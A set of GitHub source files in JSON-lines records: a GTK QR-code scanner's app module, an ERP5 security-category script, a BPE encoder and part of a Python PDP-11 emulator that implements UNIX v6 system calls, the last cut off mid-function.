widget: Gtk.Widget, event: Gdk.Event):\n logger.debug('Got key press: {}, state {}', event, event.state)\n key_name = Gdk.keyval_name(event.keyval)\n if (event.state & CONTROL_MASK) != CONTROL_MASK or key_name != 'v':\n logger.debug('Ignore key \"{}\"', key_name)\n return\n # Pressed Ctrl + V\n self.reset_result()\n logger.debug('Clipboard -> {}', self.clipboard.wait_for_targets())\n pixbuf: Optional[GdkPixbuf.Pixbuf] = self.clipboard.wait_for_image()\n logger.debug('Got pasted image: {}', pixbuf)\n if pixbuf:\n w, h = self.get_preview_size()\n scaled_pixbuf = scale_pixbuf(pixbuf, w, h)\n self.insert_image_to_placeholder(scaled_pixbuf)\n success, content = pixbuf.save_to_bufferv('png', [], [])\n if not success:\n return\n stream = io.BytesIO(content)\n self.process_passed_rgb_image(stream)\n return\n uris = self.clipboard.wait_for_uris()\n logger.debug('URIs: {}', uris)\n if not uris:\n return\n # Get first URI which looks like a URL of an image\n gfile = choose_first_image(uris)\n if not gfile:\n return\n self.btn_img_chooser.select_uri(gfile.get_uri())\n content_type = guess_content_type(gfile)\n self.process_passed_image_file(gfile, content_type)\n\n def on_new_webcam_sample(self, appsink: GstApp.AppSink) -> Gst.FlowReturn:\n if appsink.is_eos():\n return Gst.FlowReturn.OK\n sample: Optional[Gst.Sample] = appsink.try_pull_sample(0.5)\n if not sample:\n return Gst.FlowReturn.OK\n buffer: Optional[Gst.Buffer] = sample.get_buffer()\n if not buffer:\n return Gst.FlowReturn.OK\n caps: Optional[Gst.Caps] = sample.get_caps()\n if not caps:\n return Gst.FlowReturn.OK\n # This Pythonic usage is thank to python3-gst\n struct: Gst.Structure = caps[0]\n width = struct['width']\n height = struct['height']\n success: bool\n mapinfo: Gst.MapInfo\n success, mapinfo = buffer.map(Gst.MapFlags.READ)\n if not success:\n logger.error('Failed to get mapinfo.')\n return Gst.FlowReturn.ERROR\n # In Gstreamer 1.18, Gst.MapInfo.data is memoryview instead of bytes\n imgdata = mapinfo.data.tobytes() if isinstance(mapinfo.data, memoryview) else mapinfo.data\n img = zbar.Image(width, height, 'Y800', imgdata)\n n = self.zbar_scanner.scan(img)\n logger.debug('Any QR code?: {}', n)\n if not n:\n return Gst.FlowReturn.OK\n # Found QR code in webcam screenshot\n logger.debug('Emulate pressing Pause button')\n self.btn_pause.set_active(True)\n self.display_result(img.symbols)\n return Gst.FlowReturn.OK\n\n def on_evbox_playpause_enter_notify_event(self, box: Gtk.EventBox, event: Gdk.EventCrossing):\n child: Gtk.Widget = box.get_child()\n child.set_opacity(1)\n\n def on_evbox_playpause_leave_notify_event(self, box: Gtk.EventBox, event: Gdk.EventCrossing):\n child: Gtk.Widget = box.get_child()\n child.set_opacity(0.5)\n\n def on_btn_copy_clicked(self, button: Gtk.Button):\n clipboard = Gtk.Clipboard.get(Gdk.SELECTION_CLIPBOARD)\n begin = self.raw_result_buffer.get_start_iter()\n end = self.raw_result_buffer.get_end_iter()\n self.raw_result_buffer.select_range(begin, end)\n self.raw_result_buffer.copy_clipboard(clipboard)\n button.set_tooltip_text(_('Copied'))\n GLib.timeout_add_seconds(3, remove_tooltip, button)\n\n def on_info_bar_response(self, infobar: Gtk.InfoBar, response_id: int):\n infobar.set_visible(False)\n\n def play_webcam_video(self, widget: Optional[Gtk.Widget] = None):\n if not self.gst_pipeline:\n return\n to_pause = (isinstance(widget, Gtk.RadioToolButton) and not widget.get_active())\n app_sink = self.gst_pipeline.get_by_name(self.APPSINK_NAME)\n source = self.gst_pipeline.get_by_name(self.GST_SOURCE_NAME)\n if to_pause:\n # Tell appsink to stop emitting signals\n logger.debug('Stop appsink from emitting signals')\n app_sink.set_emit_signals(False)\n r = source.set_state(Gst.State.READY)\n r = source.set_state(Gst.State.PAUSED)\n logger.debug('Change {} state to paused: {}', source.get_name(), r)\n else:\n r = source.set_state(Gst.State.PLAYING)\n logger.debug('Change {} state to playing: {}', source.get_name(), r)\n self.reset_result()\n # Delay set_emit_signals call to prevent scanning old frame\n GLib.timeout_add_seconds(1, app_sink.set_emit_signals, True)\n\n def get_preview_size(self) -> Tuple[int, int]:\n widget = self.stack_img_source.get_visible_child()\n size: Gdk.Rectangle\n b: int\n size, b = widget.get_allocated_size()\n return (size.width, size.height)\n\n def show_about_dialog(self, action: Gio.SimpleAction, param: Optional[GLib.Variant] = None):\n if self.gst_pipeline:\n self.btn_pause.set_active(True)\n source = get_ui_filepath('about.glade')\n builder: Gtk.Builder = Gtk.Builder.new_from_file(str(source))\n dlg_about: Gtk.AboutDialog = builder.get_object('dlg-about')\n dlg_about.set_version(__version__)\n logger.debug('To present {}', dlg_about)\n dlg_about.present()\n\n def show_error(self, message: str):\n box: Gtk.Box = self.infobar.get_content_area()\n label: Gtk.Label = box.get_children()[0]\n label.set_label(message)\n self.infobar.set_message_type(Gtk.MessageType.ERROR)\n self.infobar.set_visible(True)\n\n def quit_from_action(self, action: Gio.SimpleAction, param: Optional[GLib.Variant] = None):\n self.quit()\n\n def quit(self):\n if self.gst_pipeline:\n self.gst_pipeline.set_state(Gst.State.NULL)\n super().quit()\n\n\ndef remove_tooltip(button: Gtk.Button):\n button.set_has_tooltip(False)\n return False\n","repo_name":"hongquan/CoBang","sub_path":"cobang/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":31989,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"75"} +{"seq_id":"71236046003","text":"\"\"\"\nA script returning security categories from a Person's assignments.\n\nDifferences to the stock implementation:\n\n* if category is follow_up, we look for destination_project\n\n* if category not strict, we return not only the category, but also all its parents\n (unless we say it is strict)\n\"\"\"\n\nfrom erp5.component.module.Log import log\n\ncategory_list = []\n\nperson_object = context.Base_getUserValueByUserId(user_name)\nif person_object is None:\n # if a person_object was not found in the module, we do nothing more\n # this happens for example when a manager with no associated person object\n # creates a person_object for a new user\n return []\n\n# We look for valid assignments of this user\nfor assignment in person_object.contentValues(filter={'portal_type': 'Assignment'}):\n category_dict = {}\n if assignment.getValidationState() == 'open':\n try:\n for base_category in base_category_list:\n if base_category == 'follow_up':\n category_value = assignment.getDestinationProject()\n else:\n category_value = assignment.getProperty(base_category)\n if category_value not in (None, ''):\n if root: category_value=category_value.split('/')[0]\n category_dict[base_category] = category_value\n else:\n raise RuntimeError(\"Error: '%s' property is required in order to update person security group\" % base_category)\n category_list.append(category_dict)\n # if not strict, we go up the hierarchy (because if you work in group/a/b/c, chances are you\n # are working in group/a/b, too :)\n if not strict:\n grouplist = category_value.split('/')\n for i in range(1,len(grouplist)):\n cdict = category_dict.copy()\n cdict[base_category] = '/'.join(grouplist[:-i])\n category_list.append(cdict)\n except RuntimeError as e:\n log(str(e))\n\nreturn category_list\n","repo_name":"Nexedi/erp5","sub_path":"bt5/erp5_dms/SkinTemplateItem/portal_skins/erp5_dms/ERP5Type_getSecurityCategoryFromAssignmentTree.py","file_name":"ERP5Type_getSecurityCategoryFromAssignmentTree.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"75"} +{"seq_id":"73660657523","text":"import attr\nimport json\nimport enum\nimport tqdm\nimport heapq\nimport itertools\nimport collections\n\nfrom typing import List\nimport pyrsistent\nfrom tensor2struct.utils import vocab, gtrie\n\nSPECIAL_SYMBOL = \"@\"\n\n\ndef split_bpe_subword(input_str):\n return input_str.split(SPECIAL_SYMBOL)\n\n\ndef is_bpe_subword(input_str):\n return SPECIAL_SYMBOL in input_str\n\n\n@attr.s\nclass SearchState:\n class State(enum.IntEnum):\n SUBPREFIX = 0\n OTHER = 1\n\n tokens = attr.ib(default=None)\n prefix = attr.ib(default=None)\n pointer = attr.ib(default=None)\n state = attr.ib(default=State.OTHER)\n\n def add_token(self, token):\n self.prefix = self.prefix.append(token)\n self.tokens = self.tokens.delete(0)\n\n @property\n def cur_token(self):\n return self.tokens[self.pointer]\n\n @property\n def cur_pair(self):\n assert self.pointer < len(self.tokens) - 1\n pair = (self.tokens[self.pointer], self.tokens[self.pointer + 1])\n return pair\n\n def merge(self, token):\n self.tokens = self.tokens.delete(0)\n self.tokens = self.tokens.set(0, token)\n\n def is_last_token(self):\n return self.pointer == len(self.tokens) - 1\n\n def is_subprefix(self):\n return self.state == SearchState.State.SUBPREFIX\n\n def set_subprefix_state(self):\n self.state = SearchState.State.SUBPREFIX\n\n def unset_subprefix_state(self):\n self.state = SearchState.State.OTHER\n\n def finish(self):\n return tuple(self.prefix)\n\n def clone(self):\n other = self.__class__()\n other.tokens = self.tokens\n other.prefix = self.prefix\n other.pointer = self.pointer\n return other\n\n\nclass BPEncoder:\n \"\"\" \n Word-level BPE encoding for extracting patterns/idioms \n \"\"\"\n\n def __init__(self, tokenize_func=None):\n self.special_symbol = SPECIAL_SYMBOL\n self.tokenize_func = tokenize_func\n self.SEG_THRESHOLD = 32\n\n def get_stats(self, text):\n pairs = collections.defaultdict(int)\n for sent_str in text:\n sent = self.tokenize_func(sent_str)\n for i in range(len(sent) - 1):\n pairs[sent[i], sent[i + 1]] += 1\n return pairs\n\n def merge_vocab(self, pair, text):\n bigram = \" \".join(pair)\n merge = self.special_symbol.join(pair)\n\n new_text = []\n for sent_str in text:\n new_sent = sent_str.replace(bigram, merge)\n new_text.append(new_sent)\n return new_text\n\n def fit(self, text: List[str], num_iterations=20):\n _text = text[:]\n\n merge_table = []\n for _ in range(num_iterations):\n pairs = self.get_stats(_text)\n best_pair = max(pairs, key=pairs.get)\n merge_table.append(self.special_symbol.join(best_pair))\n\n _text = self.merge_vocab(best_pair, _text)\n\n self.merge_table = merge_table\n self.vocab = vocab.Vocab(\n set(itertools.chain.from_iterable([self.tokenize_func(t) for t in _text]))\n )\n\n def apply(self, sent_str):\n \"\"\"\n Return all the possible segmentations (different from bpe) without recursion\n \"\"\"\n results = []\n\n bpe_trie = gtrie.StringTrie(separator=self.special_symbol)\n for i, seg in enumerate(self.vocab):\n bpe_trie[seg] = i\n\n tokens = pyrsistent.pvector(self.tokenize_func(sent_str))\n prefix = pyrsistent.pvector()\n queue = [(0, SearchState(tokens=tokens, prefix=prefix, pointer=0))]\n while queue:\n if len(results) > self.SEG_THRESHOLD:\n break\n\n _, item = heapq.heappop(queue)\n\n if item.is_last_token():\n if not item.is_subprefix():\n item.add_token(item.cur_token)\n results.append(item.finish())\n continue\n\n # option 1: skip merge for current token\n if not item.is_subprefix():\n _item = item.clone()\n _item.add_token(item.cur_token)\n heapq.heappush(queue, (len(_item.prefix) + _item.state, _item))\n\n # option 2: try to merge to next word with subprefix\n pair = item.cur_pair\n merge_token = self.special_symbol.join(pair)\n if bpe_trie.has_subtrie(merge_token):\n _item = item.clone()\n _item.merge(merge_token)\n _item.set_subprefix_state()\n heapq.heappush(queue, (len(_item.prefix) + _item.state, _item))\n\n # option 3: try to merge to next word with prefix\n if bpe_trie.has_key(merge_token):\n _item = item.clone()\n _item.merge(merge_token)\n _item.unset_subprefix_state()\n heapq.heappush(queue, (len(_item.prefix) + _item.state, _item))\n\n # order-preserving set\n return sorted(set(results), key=results.index)\n\n def _apply_recur(self, sent_str):\n \"\"\"\n Return all the possible segmentations (different from bpe)\n \"\"\"\n results = []\n\n def recur_find(_prefix, _sent_str, _pointer):\n _sent = self.tokenize_func(_sent_str)\n _cur_token = _sent[_pointer]\n\n # all merges are done\n if _pointer == len(_sent) - 1:\n _new_seg = tuple(_prefix[:] + [_cur_token])\n results.append(tuple(_new_seg))\n return\n\n # option 1: skip merge for current token\n if _cur_token in self.vocab:\n recur_find(_prefix[:] + [_cur_token], _sent_str, _pointer + 1)\n\n # option 2: try to merge\n pair = (_sent[_pointer], _sent[_pointer + 1])\n merge = self.special_symbol.join(pair)\n if merge in self.vocab:\n bigram = \" \".join(pair)\n _sent_str = _sent_str[:]\n _sent_str = _sent_str.replace(bigram, merge)\n else:\n _prefix = _prefix[:] + [_cur_token]\n _pointer += 1\n recur_find(_prefix, _sent_str, _pointer)\n\n recur_find([], sent_str[:], 0)\n return results\n # return list(set(results))\n\n\nif __name__ == \"__main__\":\n text = [\"JUMP JUMP\", \"WALK WALK\", \"WALK JUMP JUMP\", \"WALK WALK\", \"WALK JUMP\"]\n bpe = BPEncoder(tokenize_func=lambda x: x.split())\n bpe.fit(text, num_iterations=3)\n print(bpe.vocab.id_to_elem)\n print(bpe.apply(\"WALK JUMP JUMP\"))\n print(bpe.apply(\"JUMP JUMP WALK WALK\"))\n print(bpe.apply(\"JUMP JUMP WALK WALK JUMP JUMP\"))\n","repo_name":"berlino/tensor2struct-public","sub_path":"tensor2struct/utils/bpe.py","file_name":"bpe.py","file_ext":"py","file_size_in_byte":6570,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"75"} +{"seq_id":"17417932105","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nfrom pprint import pprint as pp\n\nimport six\n\nimport pdp11_aout\nimport pdp11_decode\nimport pdp11_disassem\nimport pdp11_register\nimport pdp11_memory\nimport pdp11_operand\nimport pdp11_util\n\nclass SysExit(Exception):\n def __init__(self, value=''):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\nclass VM :\n def __init__(self, debug=False) :\n self.aout = \"\"\n\n self.memory = pdp11_memory.Memory()\n self.register = pdp11_register.Register()\n self.operation_mode = None\n\n self.dst = pdp11_operand.Operand(self.memory, self.register)\n self.src = pdp11_operand.Operand(self.memory, self.register)\n self.reg = pdp11_operand.Operand(self.memory, self.register)\n\n # unixv6\n self.sighandler = 0\n\n # debug\n self.debug = debug\n self.symbol = \"\"\n self.state = \"\"\n self.disassemble = \"\"\n self.dst.memory_dump = \"\"\n self.src.memory_dump = \"\"\n self.reg.memory_dump = \"\"\n self.syscall = \"\"\n\n def push(self, value) :\n self.register[6] -= 2\n self.memory[self.register[6]] = value\n\n def pop(self) :\n value = self.memory[self.register[6]]\n self.register[6] += 2\n return value\n\n def sys(self, num) :\n if num == 0 : #indir\n pc = self.register[7]\n disassemble = self.disassemble\n state = self.state\n\n self.register[7] = self.memory[self.register[7]]\n self.step()\n\n self.register[7] = pc\n self.register[7] += 2\n self.disassemble = disassemble\n self.state = state\n\n elif num == 1 : #exit\n info = pdp11_util.uint16toint16(self.register[0])\n\n self.syscall = ''.format(info)\n\n raise SysExit()\n\n elif num == 2 : #fork\n self.syscall = \"not implement(syscall {:x})\".format(num)\n\n elif num == 3 : #read\n fd = self.register[0]\n addr = self.memory[self.register[7]]\n size = self.memory[self.register[7]+2]\n data = list(os.read(fd, size))\n if six.PY2 : data = map(ord, data)\n\n self.memory[addr:addr+len(data)] = data\n self.register[0] = len(data)\n self.register[7] += 4\n self.register.c = False\n\n self.syscall = ' {:d}>'.format(fd, addr, size, self.register[0])\n\n elif num == 4 : #write\n fd = self.register[0]\n addr = self.memory[self.register[7]]\n size = self.memory[self.register[7]+2]\n\n os.write(fd, ''.join(map(chr, self.memory[addr:addr+size])))\n self.register[0] = size\n self.register[7] += 4\n self.register.c = False\n\n self.syscall = ' {:d}>'.format(fd, addr, size, self.register[0])\n\n elif num == 5 : #open\n filepath = pdp11_util.addr2str(self.memory, self.memory[self.register[7]])\n mode = self.memory[self.register[7]+2]\n\n fd = os.open(pdp11_util.chpath(filepath), mode)\n self.register[0] = fd\n self.register[7] += 4\n\n self.syscall = ' {}>'.format(filepath, mode, self.register[0])\n\n elif num == 6 : #close\n fd = self.register[0]\n\n os.close(fd)\n self.register[0] = 0\n\n self.syscall = ' {}>'.format(fd, 0)\n\n elif num == 7 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n\n elif num == 8 : #creat\n filepath = pdp11_util.addr2str(self.memory, self.memory[self.register[7]])\n mode = self.memory[self.register[7]+2]\n\n fd = os.open(pdp11_util.chpath(filepath),\n os.O_CREAT | os.O_TRUNC | os.O_WRONLY, mode)\n self.register[0] = fd\n self.register.c = False\n self.register[7] += 4\n\n self.syscall = ' {}>'.format(filepath, mode, fd)\n\n elif num == 9 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 10 : #unlink\n filepath = pdp11_util.addr2str(self.memory, self.memory[self.register[7]])\n\n try :\n os.unlink(pdp11_util.chpath(filepath))\n result = 0\n self.register[0] = 0\n self.register.c = False\n except OSError :\n result = -1\n self.register[0] = 2\n self.register.c = True\n\n self.register[7] += 2\n\n self.syscall = ' {}>'.format(filepath, result)\n\n elif num == 11 : #exec\n filepath = pdp11_util.addr2str(self.memory, self.memory[self.register[7]])\n i = 0\n argp = self.memory[self.register[7]+2]\n args = []\n while self.memory[argp+i*2] != 0:\n p = self.memory[argp+i*2]\n args.append(pdp11_util.addr2str(self.memory, p))\n i += 1\n\n self.sys_exec(args)\n\n self.syscall = '> 16\n self.memory[addr+10:\"word\"] = stat.st_size\n self.memory[addr+28:\"word\"] = int(stat.st_atime) >> 16\n self.memory[addr+30:\"word\"] = int(stat.st_atime)\n self.memory[addr+32:\"word\"] = int(stat.st_mtime) >> 16\n self.memory[addr+34:\"word\"] = int(stat.st_mtime)\n self.register[0] = 0\n self.register.c = False\n except OSError:\n result = -1\n self.register[0] = 2\n self.register.c = True\n\n self.register[7] += 4\n\n self.syscall = ' {}>'.format(filepath, addr, result)\n elif num == 19 : #lseek\n fd = self.register[0]\n offset = self.memory[self.register[7]]\n whence = self.memory[self.register[7]+2]\n\n self.register[0] = os.lseek(fd, offset, whence)\n self.register[7] += 4\n self.register.c = False\n\n self.syscall = ' {}>'.format(fd, offset, whence, self.register[0])\n\n elif num == 20 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 21 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 22 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 23 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 24 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 25 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 26 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 27 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 28 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 29 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 30 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 31 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 32 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 33 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 34 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 35 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 36 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 37 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 38 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 39 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 40 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 41 :\n fd = self.register[0]\n\n fd = os.dup(fd)\n self.register[0] = fd\n\n self.syscall = ' {}>'.format(fd, i)\n\n elif num == 42 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 43 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 44 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 45 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 46 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 47 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 48 :\n signum = self.memory[self.register[7]]\n sighandler = self.memory[self.register[7]+2]\n old_sighandler = self.sighandler\n self.sighandler = sighandler\n\n self.register[7] += 4\n self.register[0] = old_sighandler\n\n self.syscall = ''.format(signum, sighandler)\n\n elif num == 49 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 50 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 51 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 52 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 53 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 54 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 55 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 56 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 57 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 58 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 59 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 60 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 61 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 62 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n elif num == 63 :\n self.syscall = \"not implement(syscall {:x})\".format(num)\n else :\n pass\n\n def step(self) :\n instruction = pdp11_decode.searchMatchInstructionFormat(self.memory, self.register[7])\n\n self.symbol = \"\"\n self.state = \"\"\n self.disassemble = \"\"\n self.dst.memory_dump= \"\"\n self.src.memory_dump= \"\"\n self.reg.memory_dump= \"\"\n self.syscall = \"\"\n\n #symbol\n for (k, v) in list(self.aout['syms']['symbol_table'].items()) :\n if v['address'] == self.register[7] and k[0] != '~' :\n self.symbol = k\n\n #state\n for i in range(7) :\n self.state += \"{:04x} \".format(self.register[i])\n\n if self.register.z :\n self.state += \"Z\"\n else :\n self.state += \"-\"\n if self.register.n :\n self.state += \"N\"\n else :\n self.state += \"-\"\n if self.register.c :\n self.state += \"C\"\n else :\n self.state += \"-\"\n if self.register.v :\n self.state += \"V\"\n else :\n self.state += \"-\"\n\n self.state += \" {:04x}:\".format(self.register[7])\n\n #disassemble\n self.memory.setMode(\"byte\")\n (mnemonic, next_ptr) = pdp11_disassem.getMnemonic(instruction, self.memory, self.register[7])\n ptr = self.register[7]\n self.memory.setMode(\"word\")\n self.disassemble = \"\"\n for i in range(3) :\n if ptr + i*2 < next_ptr :\n self.disassemble += \"{:04x} \".format(self.memory[ptr+i*2])\n else :\n self.disassemble += \" \"\n self.disassemble += mnemonic\n\n if instruction :\n self.register[7] += instruction['size']\n\n self.operation_mode = \"word\"\n if '*' in instruction['operand'] :\n byte_mode = instruction['operand']['*']\n if byte_mode :\n self.operation_mode = \"byte\"\n else :\n self.operation_mode = \"word\"\n else :\n self.operation_mode = \"word\"\n\n self.dst.operation_mode = self.operation_mode\n self.src.operation_mode = self.operation_mode\n self.reg.operation_mode = self.operation_mode\n\n for (key, value) in list(instruction['operand'].items()) :\n if key == 'o' :\n offset = pdp11_util.uint8toint8(instruction['operand']['o'])\n if key == 's' :\n self.src.raw_value = value\n if (value&0x07) != 0x07 :\n if (value>>3) == 0 :\n self.src.addressing = \"register\"\n self.src.address = value&0x07\n elif (value>>3) == 1 :\n self.src.addressing = \"register deferred\"\n self.src.address = self.register[value&0x07]\n elif (value>>3) == 2 :\n self.src.addressing = \"autoincrement\"\n self.src.address = self.register[value&0x07]\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] += 1\n else :\n self.register[value&0x07] += 2\n elif (value>>3) == 3 :\n self.src.addressing = \"autoincrement deferred\"\n self.src.address = self.memory[self.register[value&0x07]]\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] += 1\n else :\n self.register[value&0x07] += 2\n elif (value>>3) == 4 :\n self.src.addressing = \"autodecrement\"\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] -= 1\n else :\n self.register[value&0x07] -= 2\n self.src.address = self.register[value&0x07]\n elif (value>>3) == 5 :\n self.src.addressing = \"autodecrement deferred\"\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] -= 1\n else :\n self.register[value&0x07] -= 2\n self.src.address = self.memory[self.register[value&0x07]]\n elif (value>>3) == 6 :\n self.src.addressing = \"index\"\n disp = pdp11_util.uint16toint16(self.memory[self.register[7]])\n self.src.address = (self.register[value&0x07] + disp)&0xffff\n self.register[7] += 2\n elif (value>>3) == 7 :\n self.src.addressing = \"index deferred\"\n disp = pdp11_util.uint16toint16(self.memory[self.register[7]])\n self.src.address = self.memory[(self.register[value&0x07] + disp)&0xffff]\n self.register[7] += 2\n else :\n raise\n else :\n if (value>>3) == 2 or (value>>3) == 0 :\n self.src.addressing = \"immidiate\"\n self.src.value = self.memory[self.register[7]]\n self.register[7] += 2\n elif (value>>3) == 3 or (value>>3) == 1 :\n self.src.addressing = \"absolute\"\n self.src.address = self.memory[self.register[7]]\n self.register[7] += 2\n elif (value>>3) == 6 or (value>>3) == 4 :\n self.src.addressing = \"relative\"\n self.src.address = (self.memory[self.register[7]] + self.register[7] + 2)&0xffff\n self.register[7] += 2\n elif (value>>3) == 7 or (value>>3) == 5 :\n self.src.addressing = \"relative indirect\"\n self.src.address = self.memory[(self.memory[self.register[7]] + self.register[7] + 2)&0xffff]\n self.register[7] += 2\n else :\n raise\n if key == 'd' :\n self.dst.raw_value = value\n if (value&0x07) != 0x07 :\n if (value>>3) == 0 :\n self.dst.addressing = \"register\"\n self.dst.address = value&0x07\n elif (value>>3) == 1 :\n self.dst.addressing = \"register deferred\"\n self.dst.address = self.register[value&0x07]\n elif (value>>3) == 2 :\n self.dst.addressing = \"autoincrement\"\n self.dst.address = self.register[value&0x07]\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] += 1\n else :\n self.register[value&0x07] += 2\n elif (value>>3) == 3 :\n self.dst.addressing = \"autoincrement deferred\"\n self.dst.address = self.memory[self.register[value&0x07]]\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] += 1\n else :\n self.register[value&0x07] += 2\n elif (value>>3) == 4 :\n self.dst.addressing = \"autodecrement\"\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] -= 1\n else :\n self.register[value&0x07] -= 2\n self.dst.address = self.register[value&0x07]\n elif (value>>3) == 5 :\n self.dst.addressing = \"autodecrement deferred\"\n if self.operation_mode == \"byte\" :\n self.register[value&0x07] -= 1\n else :\n self.register[value&0x07] -= 2\n self.dst.address = self.memory[self.register[value&0x07]]\n elif (value>>3) == 6 :\n self.dst.addressing = \"index\"\n disp = pdp11_util.uint16toint16(self.memory[self.register[7]])\n self.dst.address = (self.register[value&0x07] + disp)&0xffff\n self.register[7] += 2\n elif (value>>3) == 7 :\n self.dst.addressing = \"index deferred\"\n disp = pdp11_util.uint16toint16(self.memory[self.register[7]])\n self.dst.address = self.memory[(self.register[value&0x07] + disp)&0xffff]\n self.register[7] += 2\n else :\n raise\n else :\n if (value>>3) == 2 or (value>>3) == 0 :\n self.dst.addressing = \"immidiate\"\n self.dst.value = self.memory[self.register[7]]\n self.register[7] += 2\n elif (value>>3) == 3 or (value>>3) == 1 :\n self.dst.addressing = \"absolute\"\n self.dst.address = self.memory[self.register[7]]\n self.register[7] += 2\n elif (value>>3) == 6 or (value>>3) == 4 :\n self.dst.addressing = \"relative\"\n self.dst.address = (self.memory[self.register[7]] + self.register[7] + 2)&0xffff\n self.register[7] += 2\n elif (value>>3) == 7 or (value>>3) == 5 :\n self.dst.addressing = \"relative indirect\"\n self.dst.address = self.memory[(self.memory[self.register[7]] + self.register[7] + 2)&0xffff]\n self.register[7] += 2\n else :\n raise\n if key == 'r' :\n self.reg.addressing = \"register\"\n self.reg.address = value\n\n if instruction['opcode'] == \"halt\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n elif instruction['opcode'] == \"wait\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n elif instruction['opcode'] == \"reset\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n elif instruction['opcode'] == \"nop\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n\n elif instruction['opcode'] == \"scc\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n elif instruction['opcode'] == \"sen\" :\n self.register.n = True\n\n elif instruction['opcode'] == \"ses\" :\n self.register.c = True\n\n elif instruction['opcode'] == \"sev\" :\n self.register.v = True\n\n elif instruction['opcode'] == \"sez\" :\n self.register.z = True\n\n elif instruction['opcode'] == \"clr\" :\n self.register.n = False\n self.register.z = True\n self.register.v = False\n self.register.c = False\n\n self.dst(0)\n\n elif instruction['opcode'] == \"inc\" :\n self.dst += 1\n result = self.dst()\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n self.register.v = (0xffff & result) == 0x7fff\n\n elif instruction['opcode'] == \"dec\" :\n self.dst -= 1\n result = self.dst()\n\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n\n if self.operation_mode == \"byte\" :\n self.register.v = (result&0xff) == 0x80\n else :\n self.register.v = (result&0xffff) == 0x8000\n\n elif instruction['opcode'] == \"adc\" :\n dst = self.dst()\n result = dst+self.register.c\n\n if self.operation_mode == \"byte\" :\n self.register.n = pdp11_util.is_negative(result, 8)\n self.register.z = pdp11_util.is_zero(result, 8)\n else :\n self.register.n = pdp11_util.is_negative(result, 16)\n self.register.z = pdp11_util.is_zero(result, 16)\n\n self.register.v = (dst == 0x8000) and self.register.c\n self.register.c = (dst == -1) and self.register.c\n\n self.dst(result)\n\n elif instruction['opcode'] == \"sbc\" :\n if self.debug : self.debug.write(instruction['opcode']+\" \")\n if self.debug : self.debug.write(\"not implement!\\n\")\n elif instruction['opcode'] == \"tst\" :\n result = 